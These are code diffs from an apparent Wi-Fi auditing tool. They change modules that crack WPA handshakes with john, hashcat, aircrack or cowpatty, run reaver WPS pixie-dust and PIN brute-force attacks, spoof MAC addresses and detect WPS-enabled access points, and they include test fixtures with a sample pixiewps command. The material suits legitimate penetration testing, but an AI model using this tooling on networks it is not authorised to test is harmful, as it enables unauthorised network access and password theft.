# Use `john --list=formats` to find if OpenCL or CUDA is supported.
formats_stdout = Process(['john', '--list=formats']).stdout()
if 'wpapsk-opencl' in formats_stdout:
john_format = 'wpapsk-opencl'
elif 'wpapsk-cuda' in formats_stdout:
john_format = 'wpapsk-cuda'
else:
john_format = 'wpapsk'
# Crack john file
command = [
'john',
'--format=%s' % john_format,
'--wordlist', Configuration.wordlist,
john_file
]
if show_command:
Color.pl('{+} {D}Running: {W}{P}%s{W}' % ' '.join(command))
process = Process(command)
process.wait()
# Run again with --show to consistently get the password
command = ['john', '--show', john_file]
if show_command:
Color.pl('{+} {D}Running: {W}{P}%s{W}' % ' '.join(command))
process = Process(command)
stdout, stderr = process.get_output()
# Parse password (regex doesn't work for some reason)
if '0 password hashes cracked' in stdout:
key = None
else:
for line in stdout.split('\n'):
if handshake.capfile in line:
key = line.split(':')[1]
break
if os.path.exists(john_file):
os.remove(john_file)
return key

View File

@@ -2,7 +2,7 @@
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
from .dependency import Dependency from .dependency import Dependency
from ..tools.ifconfig import Ifconfig from ..tools.ip import Ip
from ..util.color import Color from ..util.color import Color
class Macchanger(Dependency): class Macchanger(Dependency):
@@ -20,7 +20,7 @@ class Macchanger(Dependency):
Color.clear_entire_line() Color.clear_entire_line()
Color.p('\r{+} {C}macchanger{W}: taking interface {C}%s{W} down...' % iface) Color.p('\r{+} {C}macchanger{W}: taking interface {C}%s{W} down...' % iface)
Ifconfig.down(iface) Ip.down(iface)
Color.clear_entire_line() Color.clear_entire_line()
Color.p('\r{+} {C}macchanger{W}: changing mac address of interface {C}%s{W}...' % iface) Color.p('\r{+} {C}macchanger{W}: changing mac address of interface {C}%s{W}...' % iface)
@@ -38,7 +38,7 @@ class Macchanger(Dependency):
Color.clear_entire_line() Color.clear_entire_line()
Color.p('\r{+} {C}macchanger{W}: bringing interface {C}%s{W} up...' % iface) Color.p('\r{+} {C}macchanger{W}: bringing interface {C}%s{W} up...' % iface)
Ifconfig.up(iface) Ip.up(iface)
return True return True
@@ -56,7 +56,7 @@ class Macchanger(Dependency):
Color.pl('\r{+} {C}macchanger{W}: resetting mac address on %s...' % iface) Color.pl('\r{+} {C}macchanger{W}: resetting mac address on %s...' % iface)
# -p to reset to permanent MAC address # -p to reset to permanent MAC address
if cls.down_macch_up(iface, ['-p']): if cls.down_macch_up(iface, ['-p']):
new_mac = Ifconfig.get_mac(iface) new_mac = Ip.get_mac(iface)
Color.clear_entire_line() Color.clear_entire_line()
Color.pl('\r{+} {C}macchanger{W}: reset mac address back to {C}%s{W} on {C}%s{W}' % (new_mac, iface)) Color.pl('\r{+} {C}macchanger{W}: reset mac address back to {C}%s{W} on {C}%s{W}' % (new_mac, iface))
@@ -76,7 +76,7 @@ class Macchanger(Dependency):
# -e to keep vendor bytes the same # -e to keep vendor bytes the same
if cls.down_macch_up(iface, ['-e']): if cls.down_macch_up(iface, ['-e']):
cls.is_changed = True cls.is_changed = True
new_mac = Ifconfig.get_mac(iface) new_mac = Ip.get_mac(iface)
Color.clear_entire_line() Color.clear_entire_line()
Color.pl('\r{+} {C}macchanger{W}: changed mac address to {C}%s{W} on {C}%s{W}' % (new_mac, iface)) Color.pl('\r{+} {C}macchanger{W}: changed mac address to {C}%s{W} on {C}%s{W}' % (new_mac, iface))

View File

@@ -14,9 +14,6 @@ class Pyrit(Dependency):
def __init__(self): def __init__(self):
pass pass
@staticmethod
def exists():
return Process.exists('pyrit')
@staticmethod @staticmethod
def bssid_essid_with_handshakes(capfile, bssid=None, essid=None): def bssid_essid_with_handshakes(capfile, bssid=None, essid=None):

View File

@@ -6,10 +6,10 @@ from .airodump import Airodump
from .bully import Bully # for PSK retrieval from .bully import Bully # for PSK retrieval
from ..model.attack import Attack from ..model.attack import Attack
from ..config import Configuration from ..config import Configuration
from ..model.wps_result import CrackResultWPS
from ..util.color import Color from ..util.color import Color
from ..util.process import Process from ..util.process import Process
from ..util.timer import Timer from ..util.timer import Timer
from ..model.wps_result import CrackResultWPS
import os, time, re import os, time, re
@@ -18,14 +18,19 @@ class Reaver(Attack, Dependency):
dependency_name = 'reaver' dependency_name = 'reaver'
dependency_url = 'https://github.com/t6x/reaver-wps-fork-t6x' dependency_url = 'https://github.com/t6x/reaver-wps-fork-t6x'
def __init__(self, target): def __init__(self, target, pixie_dust=True):
super(Reaver, self).__init__(target) super(Reaver, self).__init__(target)
self.start_time = None self.pixie_dust = pixie_dust
self.progress = '0.00%'
self.state = 'Initializing' self.state = 'Initializing'
self.locked = False self.locked = False
self.total_attempts = 0
self.total_timeouts = 0 self.total_timeouts = 0
self.total_wpsfails = 0 self.total_wpsfails = 0
self.last_pins = set()
self.last_line_number = 0
self.crack_result = None self.crack_result = None
@@ -40,14 +45,16 @@ class Reaver(Attack, Dependency):
'--interface', Configuration.interface, '--interface', Configuration.interface,
'--bssid', self.target.bssid, '--bssid', self.target.bssid,
'--channel', self.target.channel, '--channel', self.target.channel,
'--pixie-dust', '1', # pixie-dust attack '-vv'
'--session', '/dev/null', # Don't restart session
'-vv' # (very) verbose
] ]
if pixie_dust:
self.reaver_cmd.extend(['--pixie-dust', '1'])
self.reaver_proc = None self.reaver_proc = None
def is_pixiedust_supported(self): @staticmethod
def is_pixiedust_supported():
''' Checks if 'reaver' supports WPS Pixie-Dust attack ''' ''' Checks if 'reaver' supports WPS Pixie-Dust attack '''
output = Process(['reaver', '-h']).stderr() output = Process(['reaver', '-h']).stderr()
return '--pixie-dust' in output return '--pixie-dust' in output
@@ -88,6 +95,8 @@ class Reaver(Attack, Dependency):
self.reaver_proc = Process(self.reaver_cmd, self.reaver_proc = Process(self.reaver_cmd,
stdout=self.output_write, stdout=self.output_write,
stderr=Process.devnull()) stderr=Process.devnull())
# Say "yes" if asked to restore session.
self.reaver_proc.stdin('y\n')
# Loop while reaver is running # Loop while reaver is running
while self.crack_result is None and self.reaver_proc.poll() is None: while self.crack_result is None and self.reaver_proc.poll() is None:
@@ -106,6 +115,10 @@ class Reaver(Attack, Dependency):
# Check if we cracked it # Check if we cracked it
self.crack_result = self.parse_crack_result(stdout) self.crack_result = self.parse_crack_result(stdout)
# Check if locked
if self.locked and not Configuration.wps_ignore_lock:
raise Exception('{O}Access point is {R}Locked{W}')
time.sleep(0.5) time.sleep(0.5)
# Check if crack result is in output # Check if crack result is in output
@@ -121,14 +134,23 @@ class Reaver(Attack, Dependency):
def get_status(self): def get_status(self):
main_status = self.state if self.pixie_dust:
main_status = ''
else:
# Include percentage
main_status = '({G}%s{W}) ' % self.progress
# Current state (set in parse_* methods)
main_status += self.state
# Counters, timeouts, failures, locked.
meta_statuses = [] meta_statuses = []
if self.total_timeouts > 0: if self.total_timeouts > 0:
meta_statuses.append('{O}Timeouts:%d{W}' % self.total_timeouts) meta_statuses.append('{O}Timeouts:%d{W}' % self.total_timeouts)
if self.total_wpsfails > 0: if self.total_wpsfails > 0:
meta_statuses.append('{O}WPSFail:%d{W}' % self.total_wpsfails) meta_statuses.append('{O}Fails:%d{W}' % self.total_wpsfails)
if self.locked: if self.locked:
meta_statuses.append('{R}Locked{W}') meta_statuses.append('{R}Locked{W}')
@@ -181,7 +203,7 @@ class Reaver(Attack, Dependency):
raise Exception('Reaver says "WPS pin not found"') raise Exception('Reaver says "WPS pin not found"')
# Running-time failure # Running-time failure
if self.running_time() > Configuration.wps_pixie_timeout: if self.pixie_dust and self.running_time() > Configuration.wps_pixie_timeout:
raise Exception('Timeout after %d seconds' % Configuration.wps_pixie_timeout) raise Exception('Timeout after %d seconds' % Configuration.wps_pixie_timeout)
# WPSFail count # WPSFail count
@@ -198,47 +220,94 @@ class Reaver(Attack, Dependency):
def parse_state(self, stdout): def parse_state(self, stdout):
state = self.state state = self.state
# Check last line for current status
stdout_last_line = stdout.split('\n')[-1] stdout_last_line = stdout.split('\n')[-1]
# [+] Waiting for beacon from AA:BB:CC:DD:EE:FF
if 'Waiting for beacon from' in stdout_last_line: if 'Waiting for beacon from' in stdout_last_line:
state = 'Waiting for beacon' state = 'Waiting for beacon'
# [+] Associated with AA:BB:CC:DD:EE:FF (ESSID: NETGEAR07)
elif 'Associated with' in stdout_last_line: elif 'Associated with' in stdout_last_line:
state = 'Associated' state = 'Associated'
elif 'Starting Cracking Session.' in stdout_last_line: elif 'Starting Cracking Session.' in stdout_last_line:
state = 'Waiting to try PIN' state = 'Started Cracking'
# [+] Trying pin "01235678"
elif 'Trying pin' in stdout_last_line: elif 'Trying pin' in stdout_last_line:
state = 'Trying PIN' state = 'Trying PIN'
# [+] Sending EAPOL START request
elif 'Sending EAPOL START request' in stdout_last_line: elif 'Sending EAPOL START request' in stdout_last_line:
state = 'Sending EAPOL Start request' state = 'Sending EAPOL'
# [+] Sending identity response
elif 'Sending identity response' in stdout_last_line: elif 'Sending identity response' in stdout_last_line:
state = 'Sending identity response' state = 'Sending ID'
self.locked = False self.locked = False
elif 'Sending M2 message' in stdout_last_line: # [+] Sending M2 message
state = 'Sending M2 / Running pixiewps' elif 'Sending M' in stdout_last_line:
for num in ['2', '4', '6']:
if 'Sending M%s message' % num in stdout_last_line:
state = 'Sending M%s' % num
if num == '2' and self.pixie_dust:
state += ' / Running pixiewps'
self.locked = False self.locked = False
# [+] Received M1 message
elif 'Received M' in stdout_last_line:
for num in ['1', '3', '5', '7']:
if 'Received M%s message' % num in stdout_last_line:
state = 'Received M%s' % num
self.locked = False
# [!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
elif 'Detected AP rate limiting,' in stdout_last_line: elif 'Detected AP rate limiting,' in stdout_last_line:
state = 'Rate-Limited by AP' state = 'Rate-Limited by AP'
self.locked = True self.locked = True
# Parse all lines since last check
stdout_diff = stdout[self.last_line_number:]
self.last_line_number = len(stdout)
# Detect percentage complete
# [+] 0.05% complete @ 2018-08-23 15:17:23 (42 seconds/pin)
percentages = re.findall(
r"([0-9.]+%) complete .* \(([0-9.]+) seconds/pin\)", stdout_diff)
if len(percentages) > 0:
self.progress = percentages[-1][0]
# Calculate number of PINs tried
# [+] Trying pin "01235678"
new_pins = set(re.findall(r'Trying pin "([0-9]+)"', stdout_diff))
if len(new_pins) > 0:
self.total_attempts += len(new_pins.difference(self.last_pins))
self.last_pins = new_pins
# TODO: Look for "Sending M6 message" which indicates first 4 digits are correct.
return state return state
def pattack(self, message, newline=False): def pattack(self, message, newline=False):
# Print message with attack information. # Print message with attack information.
if self.pixie_dust:
time_left = Configuration.wps_pixie_timeout - self.running_time() time_left = Configuration.wps_pixie_timeout - self.running_time()
time_msg = '{O}%s{W}' % Timer.secs_to_str(time_left)
attack_name = 'Pixie-Dust'
else:
time_left = self.running_time()
time_msg = '{C}%s{W}' % Timer.secs_to_str(time_left)
attack_name = 'PIN Attack'
if self.total_attempts > 0 and not self.pixie_dust:
time_msg += ' {D}PINs:{W}{C}%d{W}' % self.total_attempts
Color.clear_entire_line() Color.clear_entire_line()
Color.pattack('WPS', Color.pattack('WPS', self.target, attack_name,
self.target, '{W}[%s] %s' % (time_msg, message))
'Pixie-Dust',
'{W}[{C}%s{W}] %s' % (Timer.secs_to_str(time_left), message))
if newline: if newline:
Color.pl('') Color.pl('')
@@ -253,14 +322,21 @@ class Reaver(Attack, Dependency):
pin = psk = ssid = None pin = psk = ssid = None
# Check for PIN. # Check for PIN.
''' [+] WPS pin: 11867722''' ''' [+] WPS pin: 11867722 '''
regex = re.search(r"WPS pin:\s*([0-9]*)", stdout, re.IGNORECASE) regex = re.search(r"WPS pin:\s*([0-9]+)", stdout, re.IGNORECASE)
if regex:
pin = regex.group(1)
if pin is None:
''' [+] WPS PIN: '11867722' '''
regex = re.search(r"WPS PIN:\s*'([0-9]+)'", stdout, re.IGNORECASE)
if regex: if regex:
pin = regex.group(1) pin = regex.group(1)
# Check for PSK. # Check for PSK.
# Note: Reaver 1.6.x does not appear to return PSK (?) # Note: Reaver 1.6.x does not appear to return PSK (?)
regex = re.search(r"WPA PSK: *'(.+)'", stdout) ''' [+] WPA PSK: 'password' '''
regex = re.search(r"WPA PSK:\s*'(.+)'", stdout)
if regex: if regex:
psk = regex.group(1) psk = regex.group(1)
@@ -350,18 +426,33 @@ Cmd : reaver -i wlan0mon -b 08:86:3B:8C:FD:9C -c 11 -s y -vv -p 28097402
executing pixiewps -e d0141b15656e96b85fcead2e8e76330d2b1ac1576bb026e7a328c0e1baf8cf91664371174c08ee12ec92b0519c54879f21255be5a8770e1fa1880470ef423c90e34d7847a6fcb4924563d1af1db0c481ead9852c519bf1dd429c163951cf69181b132aea2a3684caf35bc54aca1b20c88bb3b7339ff7d56e09139d77f0ac58079097938251dbbe75e86715cc6b7c0ca945fa8dd8d661beb73b414032798dadee32b5dd61bf105f18d89217760b75c5d966a5a490472ceba9e3b4224f3d89fb2b -s 5a67001334e3e4cb236f4e134a4d3b48d625a648e991f978d9aca879469d5da5 -z c8a2ccc5fb6dc4f4d69b245091022dc7e998e42ec1d548d57c35a312ff63ef20 -a 60b59c0c587c6c44007f7081c3372489febbe810a97483f5cc5cd8463c3920de -n 04d48dc20ec785762ce1a21a50bc46c2 -r 7a191e22a7b519f40d3af21b93a21d4f837718b45063a8a69ac6d16c6e5203477c18036ca01e9e56d0322e70c2e1baa66518f1b46d01acc577d1dfa34efd2e9ee36e2b7e68819cddacceb596a8895243e33cb48c570458a539dcb523a4d4c4360e158c29b882f7f385821ea043705eb56538b45daa445157c84e60fc94ef48136eb4e9725b134902b96c90b1ae54cbd42b29b52611903fdae5aa88bfc320f173d2bbe31df4996ebdb51342c6b8bd4e82ae5aa80b2a09a8bf8faa9a8332dc9819 executing pixiewps -e d0141b15656e96b85fcead2e8e76330d2b1ac1576bb026e7a328c0e1baf8cf91664371174c08ee12ec92b0519c54879f21255be5a8770e1fa1880470ef423c90e34d7847a6fcb4924563d1af1db0c481ead9852c519bf1dd429c163951cf69181b132aea2a3684caf35bc54aca1b20c88bb3b7339ff7d56e09139d77f0ac58079097938251dbbe75e86715cc6b7c0ca945fa8dd8d661beb73b414032798dadee32b5dd61bf105f18d89217760b75c5d966a5a490472ceba9e3b4224f3d89fb2b -s 5a67001334e3e4cb236f4e134a4d3b48d625a648e991f978d9aca879469d5da5 -z c8a2ccc5fb6dc4f4d69b245091022dc7e998e42ec1d548d57c35a312ff63ef20 -a 60b59c0c587c6c44007f7081c3372489febbe810a97483f5cc5cd8463c3920de -n 04d48dc20ec785762ce1a21a50bc46c2 -r 7a191e22a7b519f40d3af21b93a21d4f837718b45063a8a69ac6d16c6e5203477c18036ca01e9e56d0322e70c2e1baa66518f1b46d01acc577d1dfa34efd2e9ee36e2b7e68819cddacceb596a8895243e33cb48c570458a539dcb523a4d4c4360e158c29b882f7f385821ea043705eb56538b45daa445157c84e60fc94ef48136eb4e9725b134902b96c90b1ae54cbd42b29b52611903fdae5aa88bfc320f173d2bbe31df4996ebdb51342c6b8bd4e82ae5aa80b2a09a8bf8faa9a8332dc9819
''' '''
pin_attack_stdout = '''
[+] Pin cracked in 16 seconds
[+] WPS PIN: '01030365'
[+] WPA PSK: 'password'
[+] AP SSID: 'AirLink89300'
'''
(pin, psk, ssid) = Reaver.get_pin_psk_ssid(old_stdout) (pin, psk, ssid) = Reaver.get_pin_psk_ssid(old_stdout)
assert pin == '12345678', 'pin was "%s", should have been "12345678"' % pin assert pin == '12345678', 'pin was "%s", should have been "12345678"' % pin
assert psk == 'Test PSK', 'psk was "%s", should have been "Test PSK"' % psk assert psk == 'Test PSK', 'psk was "%s", should have been "Test PSK"' % psk
assert ssid == 'Test Router', 'ssid was %s, should have been Test Router' % repr(ssid) assert ssid == 'Test Router', 'ssid was %s, should have been Test Router' % repr(ssid)
result = CrackResultWPS('AA:BB:CC:DD:EE:FF', ssid, pin, psk) result = CrackResultWPS('AA:BB:CC:DD:EE:FF', ssid, pin, psk)
result.dump() result.dump()
print('') print('')
(pin, psk, ssid) = Reaver.get_pin_psk_ssid(new_stdout) (pin, psk, ssid) = Reaver.get_pin_psk_ssid(new_stdout)
assert pin == '11867722', 'pin was "%s", should have been "11867722"' % pin assert pin == '11867722', 'pin was "%s", should have been "11867722"' % pin
assert psk == None, 'psk was "%s", should have been "None"' % psk assert psk is None, 'psk was "%s", should have been "None"' % psk
assert ssid == 'belkin.00e', 'ssid was "%s", should have been "belkin.00e"' % repr(ssid) assert ssid == 'belkin.00e', 'ssid was "%s", should have been "belkin.00e"' % repr(ssid)
result = CrackResultWPS('AA:BB:CC:DD:EE:FF', ssid, pin, psk) result = CrackResultWPS('AA:BB:CC:DD:EE:FF', ssid, pin, psk)
result.dump() result.dump()
print('')
(pin, psk, ssid) = Reaver.get_pin_psk_ssid(pin_attack_stdout)
assert pin == '01030365', 'pin was "%s", should have been "01030365"' % pin
assert psk == 'password', 'psk was "%s", should have been "password"' % psk
assert ssid == 'AirLink89300', 'ssid was "%s", should have been "AirLink89300"' % repr(ssid)
result = CrackResultWPS('AA:BB:CC:DD:EE:FF', ssid, pin, psk)
result.dump()
print('')

View File

@@ -2,6 +2,7 @@
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
from .dependency import Dependency from .dependency import Dependency
from ..model.target import WPSState
from ..util.process import Process from ..util.process import Process
import re import re
@@ -14,9 +15,6 @@ class Tshark(Dependency):
def __init__(self): def __init__(self):
pass pass
@staticmethod
def exists():
return Process.exists('tshark')
@staticmethod @staticmethod
def _extract_src_dst_index_total(line): def _extract_src_dst_index_total(line):
@@ -29,6 +27,7 @@ class Tshark(Dependency):
(src, dst, index, total) = match.groups() (src, dst, index, total) = match.groups()
return src, dst, index, total return src, dst, index, total
@staticmethod @staticmethod
def _build_target_client_handshake_map(output, bssid=None): def _build_target_client_handshake_map(output, bssid=None):
# Map of target_ssid,client_ssid -> handshake #s # Map of target_ssid,client_ssid -> handshake #s
@@ -159,6 +158,7 @@ class Tshark(Dependency):
capfile - .cap file from airodump containing packets capfile - .cap file from airodump containing packets
targets - list of Targets from scan, to be updated targets - list of Targets from scan, to be updated
''' '''
from ..config import Configuration
if not Tshark.exists(): if not Tshark.exists():
raise ValueError('Cannot detect WPS networks: Tshark does not exist') raise ValueError('Cannot detect WPS networks: Tshark does not exist')
@@ -183,24 +183,31 @@ class Tshark(Dependency):
# Failure is acceptable # Failure is acceptable
return return
bssids = set() wps_bssids = set()
locked_bssids = set()
for line in lines.split('\n'): for line in lines.split('\n'):
if ',' not in line: if ',' not in line:
continue continue
bssid, locked = line.split(',') bssid, locked = line.split(',')
# Ignore if WPS is locked?
if '1' not in locked: if '1' not in locked:
bssids.add(bssid.upper()) wps_bssids.add(bssid.upper())
else:
locked_bssids.add(bssid.upper())
for t in targets: for t in targets:
t.wps = t.bssid.upper() in bssids target_bssid = t.bssid.upper()
if target_bssid in wps_bssids:
t.wps = WPSState.UNLOCKED
elif target_bssid in locked_bssids:
t.wps = WPSState.LOCKED
else:
t.wps = WPSState.NONE
if __name__ == '__main__': if __name__ == '__main__':
test_file = './tests/files/contains_wps_network.cap' test_file = './tests/files/contains_wps_network.cap'
target_bssid = 'A4:2B:8C:16:6B:3A' target_bssid = 'A4:2B:8C:16:6B:3A'
'''
from ..model.target import Target from ..model.target import Target
fields = [ fields = [
'A4:2B:8C:16:6B:3A', # BSSID 'A4:2B:8C:16:6B:3A', # BSSID
@@ -217,8 +224,8 @@ if __name__ == '__main__':
# Should update 'wps' field of a target # Should update 'wps' field of a target
Tshark.check_for_wps_and_update_targets(test_file, targets) Tshark.check_for_wps_and_update_targets(test_file, targets)
print('Target(BSSID={}).wps = {} (Expected: True)'.format(targets[0].bssid, targets[0].wps)) print('Target(BSSID={}).wps = {} (Expected: 1)'.format(
assert targets[0].wps == True targets[0].bssid, targets[0].wps))
''' assert targets[0].wps == WPSState.UNLOCKED
print(Tshark.bssids_with_handshakes(test_file, bssid=target_bssid)) print(Tshark.bssids_with_handshakes(test_file, bssid=target_bssid))

View File

@@ -2,6 +2,7 @@
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
from .dependency import Dependency from .dependency import Dependency
from ..model.target import WPSState
from ..util.process import Process from ..util.process import Process
import json import json
@@ -14,9 +15,6 @@ class Wash(Dependency):
def __init__(self): def __init__(self):
pass pass
@staticmethod
def exists():
return Process.exists('wash')
@staticmethod @staticmethod
def check_for_wps_and_update_targets(capfile, targets): def check_for_wps_and_update_targets(capfile, targets):
@@ -38,20 +36,30 @@ class Wash(Dependency):
return return
# Find all BSSIDs # Find all BSSIDs
bssids = set() wps_bssids = set()
locked_bssids = set()
for line in lines.split('\n'): for line in lines.split('\n'):
try: try:
obj = json.loads(line) obj = json.loads(line)
bssid = obj['bssid'] bssid = obj['bssid']
locked = obj['wps_locked'] locked = obj['wps_locked']
if locked != True: if locked != True:
bssids.add(bssid) wps_bssids.add(bssid)
else:
locked_bssids.add(bssid)
except: except:
pass pass
# Update targets # Update targets
for t in targets: for t in targets:
t.wps = t.bssid.upper() in bssids target_bssid = t.bssid.upper()
if target_bssid in wps_bssids:
t.wps = WPSState.UNLOCKED
elif target_bssid in locked_bssids:
t.wps = WPSState.LOCKED
else:
t.wps = WPSState.NONE
if __name__ == '__main__': if __name__ == '__main__':
test_file = './tests/files/contains_wps_network.cap' test_file = './tests/files/contains_wps_network.cap'
@@ -73,7 +81,8 @@ if __name__ == '__main__':
# Should update 'wps' field of a target # Should update 'wps' field of a target
Wash.check_for_wps_and_update_targets(test_file, targets) Wash.check_for_wps_and_update_targets(test_file, targets)
print('Target(BSSID={}).wps = {} (Expected: True)'.format(targets[0].bssid, targets[0].wps)) print('Target(BSSID={}).wps = {} (Expected: 1)'.format(
targets[0].bssid, targets[0].wps))
assert targets[0].wps == True assert targets[0].wps == WPSState.UNLOCKED

View File

@@ -97,6 +97,10 @@ class Color(object):
'''Prints an exception. Includes stack trace if necessary.''' '''Prints an exception. Includes stack trace if necessary.'''
Color.pl('\n{!} {R}Error: {O}%s' % str(exception)) Color.pl('\n{!} {R}Error: {O}%s' % str(exception))
# Don't dump trace for the "no targets found" case.
if 'No targets found' in str(exception):
return
from ..config import Configuration from ..config import Configuration
if Configuration.verbose > 0 or Configuration.print_stack_traces: if Configuration.verbose > 0 or Configuration.print_stack_traces:
Color.pl('\n{!} {O}Full stack trace below') Color.pl('\n{!} {O}Full stack trace below')

View File

@@ -1,33 +1,40 @@
#!/usr/bin/env python #!/usr/bin/env python
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
from ..config import Configuration
from ..model.handshake import Handshake
from ..model.wpa_result import CrackResultWPA
from ..model.pmkid_result import CrackResultPMKID
from ..util.process import Process from ..util.process import Process
from ..util.color import Color from ..util.color import Color
from ..util.input import raw_input from ..util.input import raw_input
from ..config import Configuration from ..tools.aircrack import Aircrack
from ..tools.cowpatty import Cowpatty
from ..tools.hashcat import Hashcat, HcxPcapTool
from ..tools.john import John
from datetime import datetime from json import loads
import os import os
# TODO: Bring back the 'print' option, for easy copy/pasting. Just one-liners people can paste into terminal. # TODO: Bring back the 'print' option, for easy copy/pasting. Just one-liners people can paste into terminal.
# TODO: Do not show handshake files that are in cracked.txt with a key (match on filename). # TODO: --no-crack option while attacking targets (implies user will run --crack later)
class CrackHelper: class CrackHelper:
'''Manages handshake retrieval, selection, and running the cracking commands.''' '''Manages handshake retrieval, selection, and running the cracking commands.'''
TYPES = { TYPES = {
'4-WAY': 'WPA 4-Way Handshake', '4-WAY': '4-Way Handshake',
'PMKID': 'WPA PKID Hash' 'PMKID': 'PMKID Hash'
} }
@classmethod @classmethod
def run(cls): def run(cls):
Configuration.initialize(False) Configuration.initialize(False)
# Get wordlist
if not Configuration.wordlist: if not Configuration.wordlist:
Color.p('\n{+} Enter wordlist file to use for cracking: {G}') Color.p('\n{+} Enter wordlist file to use for cracking: {G}')
Configuration.wordlist = raw_input() Configuration.wordlist = raw_input()
@@ -36,33 +43,94 @@ class CrackHelper:
return return
Color.pl('') Color.pl('')
# Get handshakes
handshakes = cls.get_handshakes() handshakes = cls.get_handshakes()
if len(handshakes) == 0: if len(handshakes) == 0:
Color.pl('{!} {O}No handshakes found{W}') Color.pl('{!} {O}No handshakes found{W}')
return return
hs_to_crack = cls.get_user_selection(handshakes) hs_to_crack = cls.get_user_selection(handshakes)
all_pmkid = all([hs['type'] == 'PMKID' for hs in hs_to_crack])
# TODO: Ask what method to use for WPA (aircrack, pyrit, john, hashcat, cowpatty) # Tools for cracking & their dependencies.
available_tools = {
'aircrack': [Aircrack],
'hashcat': [Hashcat, HcxPcapTool],
'john': [John, HcxPcapTool],
'cowpatty': [Cowpatty]
}
# Identify missing tools
missing_tools = []
for tool, dependencies in available_tools.items():
missing = [
dep for dep in dependencies
if not Process.exists(dep.dependency_name)
]
if len(missing) > 0:
available_tools.pop(tool)
missing_tools.append( (tool, missing) )
if len(missing_tools) > 0:
Color.pl('\n{!} {O}Unavailable tools (install to enable):{W}')
for tool, deps in missing_tools:
dep_list = ', '.join([dep.dependency_name for dep in deps])
Color.pl(' {R}* {R}%s {W}({O}%s{W})' % (tool, dep_list))
if all_pmkid:
Color.pl('{!} {O}Note: PMKID hashes can only be cracked using {C}hashcat{W}')
tool_name = 'hashcat'
else:
Color.p('\n{+} Enter the {C}cracking tool{W} to use ({C}%s{W}): {G}' % (
'{W}, {C}'.join(available_tools.keys())))
tool_name = raw_input()
if tool_name not in available_tools:
Color.pl('{!} {R}"%s"{O} tool not found, defaulting to {C}aircrack{W}' % tool_name)
tool_name = 'aircrack'
try:
for hs in hs_to_crack: for hs in hs_to_crack:
cls.crack(hs) if tool_name != 'hashcat' and hs['type'] == 'PMKID':
if 'hashcat' in missing_tools:
Color.pl('{!} {O}Hashcat is missing, therefore we cannot crack PMKID hash{W}')
cls.crack(hs, tool_name)
except KeyboardInterrupt:
Color.pl('\n{!} {O}Interrupted{W}')
@classmethod
def is_cracked(cls, file):
if not os.path.exists(Configuration.cracked_file):
return False
with open(Configuration.cracked_file) as f:
json = loads(f.read())
if json is None:
return False
for result in json:
for k in result.keys():
v = result[k]
if 'file' in k and os.path.basename(v) == file:
return True
return False
@classmethod @classmethod
def get_handshakes(cls): def get_handshakes(cls):
handshakes = [] handshakes = []
skipped_pmkid_files = 0 skipped_pmkid_files = skipped_cracked_files = 0
hs_dir = Configuration.wpa_handshake_dir hs_dir = Configuration.wpa_handshake_dir
if not os.path.exists(hs_dir) or not os.path.isdir(hs_dir): if not os.path.exists(hs_dir) or not os.path.isdir(hs_dir):
Color.pl('\n{!} {O}directory not found: {R}%s{W}' % hs_dir) Color.pl('\n{!} {O}directory not found: {R}%s{W}' % hs_dir)
return [] return []
Color.pl('\n{+} Listing captured handshakes from {C}%s{W} ...\n' % os.path.abspath(hs_dir)) Color.pl('\n{+} Listing captured handshakes from {C}%s{W}:\n' % os.path.abspath(hs_dir))
for hs_file in os.listdir(hs_dir): for hs_file in os.listdir(hs_dir):
if hs_file.count('_') != 3: if hs_file.count('_') != 3:
continue continue
if cls.is_cracked(hs_file):
skipped_cracked_files += 1
continue
if hs_file.endswith('.cap'): if hs_file.endswith('.cap'):
# WPA Handshake # WPA Handshake
hs_type = '4-WAY' hs_type = '4-WAY'
@@ -101,7 +169,9 @@ class CrackHelper:
handshakes.append(handshake) handshakes.append(handshake)
if skipped_pmkid_files > 0: if skipped_pmkid_files > 0:
Color.pl('{!} {O}Skipping %d {R}*.16800{O} files because {R}hashcat{O} is missing.' % skipped_pmkid_files) Color.pl('{!} {O}Skipping %d {R}*.16800{O} files because {R}hashcat{O} is missing.{W}\n' % skipped_pmkid_files)
if skipped_cracked_files > 0:
Color.pl('{!} {O}Skipping %d already cracked files.{W}\n' % skipped_cracked_files)
# Sort by Date (Descending) # Sort by Date (Descending)
return sorted(handshakes, key=lambda x: x.get('date'), reverse=True) return sorted(handshakes, key=lambda x: x.get('date'), reverse=True)
@@ -111,7 +181,7 @@ class CrackHelper:
def print_handshakes(cls, handshakes): def print_handshakes(cls, handshakes):
# Header # Header
max_essid_len = max([len(hs['essid']) for hs in handshakes] + [len('ESSID (truncated)')]) max_essid_len = max([len(hs['essid']) for hs in handshakes] + [len('ESSID (truncated)')])
Color.p('{D} NUM') Color.p('{W}{D} NUM')
Color.p(' ' + 'ESSID (truncated)'.ljust(max_essid_len)) Color.p(' ' + 'ESSID (truncated)'.ljust(max_essid_len))
Color.p(' ' + 'BSSID'.ljust(17)) Color.p(' ' + 'BSSID'.ljust(17))
Color.p(' ' + 'TYPE'.ljust(5)) Color.p(' ' + 'TYPE'.ljust(5))
@@ -119,12 +189,10 @@ class CrackHelper:
Color.p(' ---') Color.p(' ---')
Color.p(' ' + ('-' * max_essid_len)) Color.p(' ' + ('-' * max_essid_len))
Color.p(' ' + ('-' * 17)) Color.p(' ' + ('-' * 17))
Color.p(' ' + ('-' * 6)) Color.p(' ' + ('-' * 5))
Color.p(' ' + ('-' * 19) + '{W}\n') Color.p(' ' + ('-' * 19) + '{W}\n')
# Handshakes # Handshakes
for index, handshake in enumerate(handshakes, start=1): for index, handshake in enumerate(handshakes, start=1):
bssid = handshake['bssid']
date = handshake['date']
Color.p(' {G}%s{W}' % str(index).rjust(3)) Color.p(' {G}%s{W}' % str(index).rjust(3))
Color.p(' {C}%s{W}' % handshake['essid'].ljust(max_essid_len)) Color.p(' {C}%s{W}' % handshake['essid'].ljust(max_essid_len))
Color.p(' {O}%s{W}' % handshake['bssid'].ljust(17)) Color.p(' {O}%s{W}' % handshake['bssid'].ljust(17))
@@ -136,7 +204,7 @@ class CrackHelper:
def get_user_selection(cls, handshakes): def get_user_selection(cls, handshakes):
cls.print_handshakes(handshakes) cls.print_handshakes(handshakes)
